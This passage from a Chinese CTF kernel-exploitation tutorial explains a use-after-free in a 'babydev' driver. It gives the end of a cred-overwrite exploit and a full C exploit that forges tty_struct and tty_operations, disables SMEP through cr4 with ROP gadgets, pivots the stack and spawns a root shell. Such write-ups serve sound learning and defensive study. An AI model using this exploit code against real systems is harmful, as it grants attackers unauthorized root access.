write(fd2,buf,28); //修改cred结构体

if(getuid() == 0){
printf("[+] Successful to get the root. Execve root shell now...\n");
system("/bin/sh");
return 0;
}
else{
printf("[x] Unable to get the root, exploit failed.\n");
return -1;
}
}
else{
wait(NULL);
}
return 0;
}
CPP

改tty结构体

上面改cred结构体的方法很简单,但是上述是在kernel版本为4.4.72的情况下进行操作的,在kernel版本为4.5之后出现了一点变化,让我们看看源码:

  • 4.4.72
    1
    2
    3
    4
    5
    6
    void __init cred_init(void)
    {
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred),
    0, SLAB_HWCACHE_ALIGN|SLAB_PANIC, NULL);
    }
    CSHARP
  • 4.5
    1
    2
    3
    4
    5
    6
    void __init cred_init(void)
    {
    /* allocate a slab in which we can store credentials */
    cred_jar = kmem_cache_create("cred_jar", sizeof(struct cred), 0,
    SLAB_HWCACHE_ALIGN|SLAB_PANIC|SLAB_ACCOUNT, NULL);
    }
    CSHARP

注意到,在4.5中添加了一个SLAB_ACCOUNT标志位,我们知道内核中的 slab 分配器有一个优化机制,会将属性完全一致的缓存合并,以便复用同一套内存管理逻辑。例如,如果没有SLAB_ACCOUNT标志,cred_jar 创建出来的 slab 缓存与 kmalloc 用于分配 192 字节对象的缓存(通常称为 kmalloc-192)属性一致,那么这两者就会合并在一起。

当在创建 cred_jar 时额外加上了 SLAB_ACCOUNT 标志,这就改变了 cred_jar 的属性。内核会认为它与 kmalloc-192 的缓存不再相同,从而不会进行合并。

结果就是,如果通过 kmalloc 分配 192 字节的内存,内核不会去使用 cred_jar 中的对象,而是使用 kmalloc-192 自己的缓存。这就要求如果想使用 cred_jar,必须通过直接调用 kmem_cache_alloc(cred_jar, …) 来分配对象,而不能通过 kmalloc 来间接分配。

也就是说,第一种方法从此失效了,我们必须寻找另外的方法来提权。

我们这里选用tty设备。

有关这个设备的介绍,,我们只在这里简要介绍了,详细的知识可以看这几篇文章:
一文彻底讲清Linux tty子系统架构及编程实例
linux kernel pwn 常用结构体

当用户执行open(“/dev/ptmx”, O_RDWR),kernel会分配一个tty_struct结构体(本题版本该结构体大小为0x2e0)。

1
2
3
4
5
6
7
8
9
10
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;

......
//完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty.h#L272
GAUSS

我们重点关注这个**const struct tty_operations *ops;**:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);

......
//完整结构体见:https://elixir.bootlin.com/linux/v4.7.2/source/include/linux/tty_driver.h#L251
GAUSS

不难看出,这个结构体中存着许多的函数指针。当我们对ptmx驱动进行write时,就会调用上面write指针指向的函数,。那么如果我们能伪造这个结构体,并且可以修改const struct tty_operations *ops这个指针,不就可以执行我们的提权代码了吗。(很像我们的FSOP)

我们先来进行一些准备工作:

由于本题开启了SMEP,无法直接ret2user,但是我们可以绕过。

SMEP和SMAP都通过cr4寄存器的值来判断,因此我们找到如下绕过的gadget:

1
0xffffffff81004d80 : mov cr4, rdi ; pop rbp ; ret
X86ASM

在CTF中,我们常将cr4的值设置为0x6f0来绕过SMEP。

本题没有开启SMAP,所以我们可以在用户态的栈上布置ROP链和tty_operations结构体。

并且本题无KASLR,/proc/kallsyms没有设置root权限,可以直接读取:

1
2
3
4
5
6
7
8
9
10
/ $ cat /proc/kallsyms | grep "commit_creds"
ffffffff810a1420 T commit_creds
ffffffff81d88f60 R __ksymtab_commit_creds
ffffffff81da84d0 r __kcrctab_commit_creds
ffffffff81db948c r __kstrtab_commit_creds
/ $ cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff810a1810 T prepare_kernel_cred
ffffffff81d91890 R __ksymtab_prepare_kernel_cred
ffffffff81dac968 r __kcrctab_prepare_kernel_cred
ffffffff81db9450 r __kstrtab_prepare_kernel_cred
TCL

接下来,就该考虑如何控制程序执行流了。由于我们无法控制内核的栈空间,所以我们需要使用栈迁移。

经过动调可以发现,在我们调用tty_operations->write时,rax寄存器中存放的便是tty_operations结构体的地址。那么我们就可以使用形如mov rsp, raxxchg rax, rsp之类的指令进行栈迁移了。

由于rax指向的地址是tty_operations[0],而tty_operations->writetty_operations[7],这一段空间很小,我们得再执行一次栈迁移。

最后exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>

//tty_struct结构体的大小
#define TTY_STRUCT_SIZE 0x2E0

//mov cr4, rdi ; pop rbp ; ret
#define MOV_CR4_RDI 0xffffffff81004d80

//pop rdi ; ret
#define POP_RDI 0xffffffff810d238d

//swapgs ; pop rbp ; ret
#define SWAPGS 0xffffffff81063694

//iretq ; ret;
#define IRETQ 0xffffffff814e35ef

//mov rsp, rax;dec ebx;ret,做栈迁移用
#define MOV_RSP_RAX 0xFFFFFFFF8181BFC5

#define POP_RAX 0xffffffff8100ce6e


size_t pkc_addr = 0xffffffff810a1810;
size_t cc_addr = 0xffffffff810a1420;
void getRoot(){
char* (*pkc)(int) = pkc_addr;
void (*cc)(char*) = cc_addr;
(*cc)((*pkc)(0));
}

void getShell() {
system("/bin/sh");
/*
if (getuid() == 0) {
printf("[+]Rooted!!\n");
system("/bin/sh");
} else {
printf("[+]Root Fail!!\n");
}
*/
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status() {
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has been saved.");
}

int main() {
//保存用户态寄存器
save_status();
int fd1 = open("/dev/babydev",O_RDWR);
int fd2 = open("/dev/babydev",O_RDWR);
if (fd1 < 0 || fd2 < 0) {
printf("open file error!!\n");
exit(-1);
}

ioctl(fd1,0x10001,TTY_STRUCT_SIZE);
close(fd1); //UAF

size_t ROP[0x100];
int i=0;

//修改cr4寄存器
ROP[i++] = POP_RDI;
ROP[i++] = 0x6f0;
ROP[i++] = MOV_CR4_RDI;
ROP[i++] = 0;

ROP[i++] = (size_t)getRoot;
ROP[i++] = SWAPGS;
ROP[i++] = 0;
ROP[i++] = IRETQ;

ROP[i++] = (size_t)getShell;

ROP[i++] = user_cs;
ROP[i++] = user_rflags;
ROP[i++] = user_sp;
ROP[i++] = user_ss;

size_t fake_tty_operations[35];
fake_tty_operations[7] = MOV_RSP_RAX;//调用write时,rax里存的是fake_tty_operations[0]的地址,所以用这条指令将栈迁移到fake_tty_operations[0]位置

fake_tty_operations[0] = POP_RAX;
fake_tty_operations[1] = (size_t)ROP;
fake_tty_operations[2] = MOV_RSP_RAX;//再次将栈迁移到ROP链的地址上

size_t fake_tty_struct[4];

int fd_tty = open("/dev/ptmx",O_RDWR);
read(fd2,fake_tty_struct,4*8);//将tty_struct前几个的值保存

fake_tty_struct[3] = (size_t)fake_tty_operations; //将tty_struct的tty_operations *ops指向我们伪造的地方
write(fd2,fake_tty_struct,4*8);

size_t buf[4] = {0};
write(fd_tty, buf,32); //调用tty_operations->write

close(fd2);
return 0;
}
CPP

至此,即可成功提权。


kernel PWN入门
http://whi4ed0g.xyz/2025/03/17/kernel-PWN/
作者
whi4ed0g
发布于
2025年3月17日
许可协议